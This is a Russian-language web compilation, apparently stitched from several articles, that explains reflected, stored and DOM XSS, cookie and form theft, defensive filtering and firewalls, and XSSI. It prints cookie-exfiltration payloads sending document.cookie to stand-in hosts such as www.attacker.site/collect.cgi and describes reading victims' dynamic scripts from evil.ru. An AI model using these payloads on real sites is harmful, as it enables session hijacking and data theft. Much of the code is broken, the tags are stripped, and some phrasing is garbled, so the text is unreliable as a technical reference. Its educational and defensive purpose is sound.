Что можно сделать с xss. XSS атаки: какими они бывают и чем опасны

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

XSS: Уязвимость для инъекции

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Традиционные XSS-атаки: Отраженные (непостоянные).

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые (постоянные).

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Хранимые (постоянные).

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

В чем опасность XSS?

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.

Ори Сигал (Ory Segal)

Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.

Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.

Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.

Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:

Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.

Ответ уязвимого сайта будет следующим:

Welcome! Hi alert(document.cookie)

Welcome to our system ...

Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.

Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.

Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.

Примечание.
Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.

Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.

  • Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.
  • Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.

Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:

  • постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
  • файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
  • имена других окон, открытых для сайта www.vulnerable.site.
  • любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).

Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.

Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):

var victim_window=open(","foobar");alert("Can access:

" +victim_window.location.search)

Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.

Вот несколько вариаций этих возможностей.

  • Вместо ... хакеры могут использовать конструкцию . Это подходит для сайтов, которые фильтруют HTML-тэг .
  • Вместо ... можно использовать конструкцию . Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.

Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:

А итоговый код HTML будет следующим:

window.open

("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

До сих пор мы видели, что атака XSS может происходить в параметре запроса GET, на который отвечает скрипт. Но выполнить атаку можно и с помощью запроса POST, либо с использованием компонента пути запроса HTTP, и даже с помощью некоторых заголовков HTTP (например, Referer).

В частности, компонент пути (path) полезен, когда страница ошибки возвращает ошибочный путь. В этом случае включение вредоносного скрипта в путь часто приводит к его выполнению. Многие Web-серверы уязвимы для этой атаки.

Важно понимать, что, хотя Web-сайт и не затронут напрямую этой атакой (он продолжает нормально работать, вредоносный код на нем не выполняется, атака DoS не происходит, и данные с сайта напрямую не считываются и не подделываются), это все же брешь в системе безопасности, которую сайт предлагает своим клиентам или посетителям. Это похоже на сайт, который используется для развертывания приложения со слабыми метками безопасности. Из-за этого злоумышленник может угадать метку безопасности клиента и притвориться им (или ей).

Слабым местом в приложении является скрипт, который возвращает свой параметр независимо от его значения. Хороший скрипт должен убедиться, что у параметра правильный формат, что он содержит приемлемые символы и т.д. Обычно нет причин, чтобы правильный параметр содержал тэги HTML или код JavaScript. Они должны быть удалены из параметра до того, как он будет внедрен в ответ или использован в приложении. Это позволит обеспечить безопасность.

Обезопасить сайт от атак XSS можно тремя способами.

  • С помощью выполнения собственной фильтрации входных данных (которую иногда называют входным санитарным контролем, или input sanitation). Для каждого ввода пользователя (будь это параметр или заголовок HTML), в каждом написанным самостоятельно скрипте следует применять расширенные средства фильтрации против тэгов HTML, включая код JavaScript. Например, скрипт welcome.cgi из предыдущего примера должен фильтровать тэг после декодирования параметра имени. Этот метод имеет несколько серьезных недостатков.
    • Он требует от прикладного программиста хорошего знания технологий безопасности.
    • Он требует от программиста охвата всех возможных источников входных данных (параметров запросов, параметров тела запросов POST, заголовков HTTP).
    • Он не может защитить от уязвимостей в скриптах или серверах сторонних производителей. Например, он не защитит от проблем в страницах ошибки на Web-серверах (которые отображают путь источника).
  • Выполнение "выходной фильтрации", т.е. фильтрация пользовательских данных, когда они пересылаются обратно в браузер, а не когда их получает скрипт. Хорошим примером этого подхода может стать скрипт, который вставляет данные в базу данных, а затем их отображает. В этом случае важно применять фильтр не исходной входной строке, а только к выходной версии. Недостатки этого метода похожи на недостатки входной фильтрации.
  • Установка межсетевого экрана приложений (брандмауэра) стороннего производителя. Этот экран перехватывает атаки XSS до того, как они достигнут Web-сервера и уязвимых скриптов, и блокирует их. Межсетевые экраны приложений могут охватывать все методы ввода, работая с ними общим способом (включая путь и заголовки HTTP), независимо от скрипта или пути из собственного приложения, скрипта стороннего производителя или скрипта, который вообще не описывает никаких ресурсов (например, предназначенный для того, чтобы спровоцировать ответную страницу 404 с сервера). Для каждого источника входных данных межсетевой экран приложений проверяет данные на наличие различных образцов тэгов HTML и кода JavaScript. Если есть какие-то совпадения, то запрос блокируется, и вредоносные данные не достигают сервера.
  • Логическим завершением защиты сайта является проверка его защищенности от атак XSS. Как и защита сайта от XSS, проверку степени защиты можно проводить вручную (трудный способ), либо с помощью автоматизированного средства оценки уязвимости Web-приложений. Такой инструмент снимет с вас нагрузку, связанную с проверкой. Эта программа перемещается по сайту и запускает все известные ей варианты для всех скриптов, которые она обнаруживает. При этом пробуются все параметры, заголовки и пути. В обоих методах каждый ввод в приложение (параметры всех скриптов, заголовки HTTP, пути) проверяется с максимально возможным количеством вариантов. И если ответная страница содержит код JavaScript в контексте, где браузер может его выполнить, то появляется сообщение об уязвимости к XSS. Например, при отправке следующего текста:

    alert(document.cookie)

    каждому параметру каждого скрипта (через браузер с возможностями работы с JavaScript, чтобы выявить простейший вид уязвимости к XSS) браузер вызовет окно JavaScript Alert, если текст интерпретирован как код JavaScript. Конечно, есть несколько вариантов. Поэтому тестировать только этот вариант недостаточно. И, как вы уже узнали, можно вставлять код JavaScript в различные поля запроса: параметры, заголовки HTTP и путь. Однако в некоторых случаях (особенно с заголовком HTTP Referer) выполнять атаку с помощью браузера неудобно.

    Межсайтовый скриптинг - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. Также она является и самой опасной. Это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-то целей. К сожалению, как поясняет эта статья, это часто делается без знаний об атакуемом клиенте или организации.

    Чтобы предотвратить уязвимость Web-сайтов к этим вредоносным действиям, важно, чтобы организация реализовала стратегию и онлайн-, и оффлайн-защиты. Это включает в себя средство автоматизированной проверки уязвимости, которое может протестировать на наличие всех известных уязвимостей Web-сайтов и определенных приложений (например, межсайтовый скриптинг) на сайте. Для полной онлайн-защиты также жизненно важно установить межсетевой экран, который может обнаруживать и блокировать любой тип манипуляций с кодом и данными, располагающимися на Web-серверах или за ними.

    Межсайтовый скриптинг с применением java script – наиболее популярная разновидность атак. В данном материале мы расскажем вам о том, какие неприятности вызывает использование java script и как обезопасить себя от XSS атак.

    Что такое XSS атака?

    XSS – тип атак на пользователей Интернет-ресурсов, целью которых является похищение аутентификационных данных админов сайтов для получения доступа к административной части, прочих пользователей, которые имеют возможность персонального доступа к закрытым частям ресурса.

    Данные атаки могут проводиться не только с целью взлома сайта, но также и для похищения:

    • Учётных данных для доступа к сторонним ресурсам;
    • Номеров банковских карт;
    • Данных для доступа к электронным кошелькам;
    • Контактных данных;
    • Иных пользовательских конфиденциальных данных.
    Направления атак XSS

    Данный тип атак имеет два направления:

    Активные – разновидность атак, когда злоумышленник пытается найти уязвимые места в фильтре Интернет-ресурса. Посредством определённой комбинации символов и тегов хакер создаёт такой запрос, который ресурс понимает и выполняет команду. После нахождения уязвимого места в системе безопасности, в запрос вкладывается вредоносный код, который, например, будет пересылать все cookie в комфортное для хакера место.

    Пассивные – предполагают вмешательство субъекта атаки. Суть – заставить пользователя перейти по вредоносной ссылке для реализации вредоносного кода. Данные атаки труднореализуемы, поскольку требуют наличия у злоумышленника отличных технических знаний и хороших познаний в области психологии.

    Правила безопасности

    Чтобы не стать жертвой атаки XSS следует придерживаться следующих правил безопасности:

  • Главное правило для разрабов – использование любого фильтра.
  • Фильтровать все вложенные конструкции.
  • Шифрование. При создании фильтра следует обязательно учитывать риск кодировки атак. Есть масса программ-кодировщиков, с помощью которых можно зашифровать какую угодно атаку так, что не один фильтр «не увидит» её. Так что применяйте расшифровку в фильтре до начала выполнения кода запроса.
  • Применение тегов. Есть одно уязвимое место, связанное с тегами url, bb, img, имеющими множество параметров, включая lowsrc и dynsrc, содержащие javacsript. Данные теги следует фильтровать. Если не будете применять на своём ресурсе картинки, то вообще отключите их.
  • Используемый фильтр должен учитывать различные варианты комбинаций символов. Чем их больше, тем лучше.
  • Заключение

    По статистике 84% Интернет-ресурсов хорошо защищены от XSS атак. Прочие 16% не в состоянии эффективно противостоять им. Устранение этого грубого недочёта требует от владельцев сайтов дополнительных капиталовложений в безопасность, на что большинство из них не готовы. Однако ужесточение законодательства относительно повреждения, утечки и разглашения персональных данных всё больше заставляет недобросовестных владельцев улучшать безопасность своих сайтов.

    Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).

    Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.

    К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:

    При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.

    Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):

    Var a = "12345";

    Тогда на сайте атакующего мы можем получить значение переменной:

    console.log(a);

    Идея работы проста, как алюминиевый чайник.

    По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.

    Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).

    Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.

    Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).

    Function test(){ return "private data frm function"; }

    Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.

    Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).

    Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.